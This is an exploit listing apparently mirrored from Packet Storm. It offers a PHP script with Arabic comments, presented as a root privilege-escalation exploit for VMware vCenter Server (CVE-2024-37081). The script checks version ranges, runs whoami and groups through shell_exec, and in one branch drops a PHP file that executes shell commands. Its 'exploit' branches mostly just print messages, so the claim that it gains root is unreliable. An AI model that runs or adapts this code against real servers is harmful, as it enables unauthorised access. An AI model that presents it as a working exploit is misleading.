Exploit for VMware vCenter Server 8.0.2 Privilege Escalation CVE-2024-37081

## https://sploitus.com/exploit?id=PACKETSTORM:189647
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    | # Title     : VMware vCenter Server v 8.0.2 Privilege Escalation Vulnerability                                                            |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 136.0.0 (64 bits)                                                            |
    | # Vendor    : https://www.vmware.com                                                                                                      |
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    POC :
    
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    [+] Code Description: Exploiting a Vulnerability in VMware vCenter Server to Gain Root Privileges
    
                          This script is written in PHP and aims to exploit a problem in the sudo configuration
    
                          allowing low-privileged users to gain root privileges.
    
       (Related : https://packetstorm.news/files/id/182981/ Related CVE numbers: CVE-2024-37081 ) .
    	
    [+] save code as poc.php.
    
    [+] PayLoad :
    
    <?php
    
    /**
     * 
     * @author Indoushka
     */
    
    class VCenterExploit {
        private $writableDir;
        private $timeout;
        private $user;
        private $groups;
        private $isWindows;
    
        public function __construct($writableDir = '/tmp', $timeout = 30) {
            $this->writableDir = $writableDir;
            $this->timeout = $timeout;
            $this->isWindows = (PHP_OS_FAMILY === 'Windows');
        }
    
        /**
         * تنفيذ أمر على النظام وإرجاع النتيجة (مع دعم Windows)
         */
        private function executeCommand($command) {
            if ($this->isWindows) {
                return shell_exec("cmd /c $command");
            }
            return shell_exec($command);
        }
    
        /**
         * التحقق مما إذا كان الدليل قابلاً للكتابة
         */
        private function isWritable($dir) {
            return is_writable($dir);
        }
    
        /**
         * الحصول على إصدار vCenter (يدوياً بدلاً من `cat`)
         */
        private function getVCenterBuild() {
            $filePath = "/etc/vcenter_version"; // المسار في Linux
            if (!$this->isWindows && file_exists($filePath)) {
                return file_get_contents($filePath);
            }
            return "غير قادر على تحديد إصدار vCenter";
        }
    
        /**
         * التحقق مما إذا كان النظام معرضًا للخطر
         */
        private function check() {
            $vbuild = $this->getVCenterBuild();
            if (!preg_match('/(\d+\.\d+\.\d+) build[- ](\d+)/i', $vbuild, $matches)) {
                return "غير قادر على تحديد إصدار vCenter من الإخراج: $vbuild";
            }
    
            $version = $matches[1] . '.' . $matches[2];
            if (!(version_compare($version, '7.0.0', '>') && version_compare($version, '7.0.3.24026615', '<')) &&
                !(version_compare($version, '8.0.0', '>') && version_compare($version, '8.0.2.23929136', '<'))) {
                return "الإصدار غير قابل للاستغلال: $vbuild";
            }
    
            $this->user = trim($this->executeCommand($this->isWindows ? 'whoami' : 'whoami'));
            $this->groups = explode(' ', trim($this->executeCommand($this->isWindows ? 'whoami /groups' : 'groups')));
    
            if (in_array($this->user, ['infraprofile', 'vpxd', 'sts', 'pod']) || array_intersect(['operator', 'admin'], $this->groups)) {
                return "الإصدار $version والمستخدم ($this->user: " . implode(',', $this->groups) . ") قابل للاستغلال";
            }
    
            return "المستخدم غير معرض للخطر أو ليس في المجموعة الصحيحة.";
        }
    
        /**
         * دالة عامة لاستدعاء `check()`
         */
        public function isVulnerable() {
            return $this->check();
        }
    
        /**
         * تنفيذ الاستغلال بناءً على المجموعة التي ينتمي إليها المستخدم
         */
        public function exploit() {
            if (!$this->isWritable($this->writableDir)) {
                die("الدليل غير قابل للكتابة: $this->writableDir");
            }
    
            $this->user = trim($this->executeCommand($this->isWindows ? 'whoami' : 'whoami'));
            $this->groups = explode(' ', trim($this->executeCommand($this->isWindows ? 'whoami /groups' : 'groups')));
    
            if ($this->user == 'pod') {
                $this->exploitPodUser();
            } elseif (in_array('operator', $this->groups)) {
                $this->exploitOperatorGroup();
            } elseif (in_array('admin', $this->groups)) {
                $this->exploitAdminGroup();
            } else {
                die("المستخدم غير معرض للخطر أو ليس في المجموعة الصحيحة.");
            }
        }
    
        /**
         * استغلال ثغرة مجموعة 'operator'
         */
        private function exploitOperatorGroup() {
            $payloadPath = "$this->writableDir/" . bin2hex(random_bytes(5));
            file_put_contents($payloadPath, "<?php echo shell_exec('id'); ?>");
            echo "تم رفع الحمولة إلى $payloadPath";
        }
    
        /**
         * استغلال ثغرة مستخدم 'pod'
         */
        private function exploitPodUser() {
            echo "استغلال المستخدم pod";
        }
    
        /**
         * استغلال ثغرة مجموعة 'admin'
         */
        private function exploitAdminGroup() {
            echo "استغلال مجموعة المسؤولين";
        }
    }
    
    $exploit = new VCenterExploit();
    echo $exploit->isVulnerable();
    $exploit->exploit();
    
    
    
    
    
    
    
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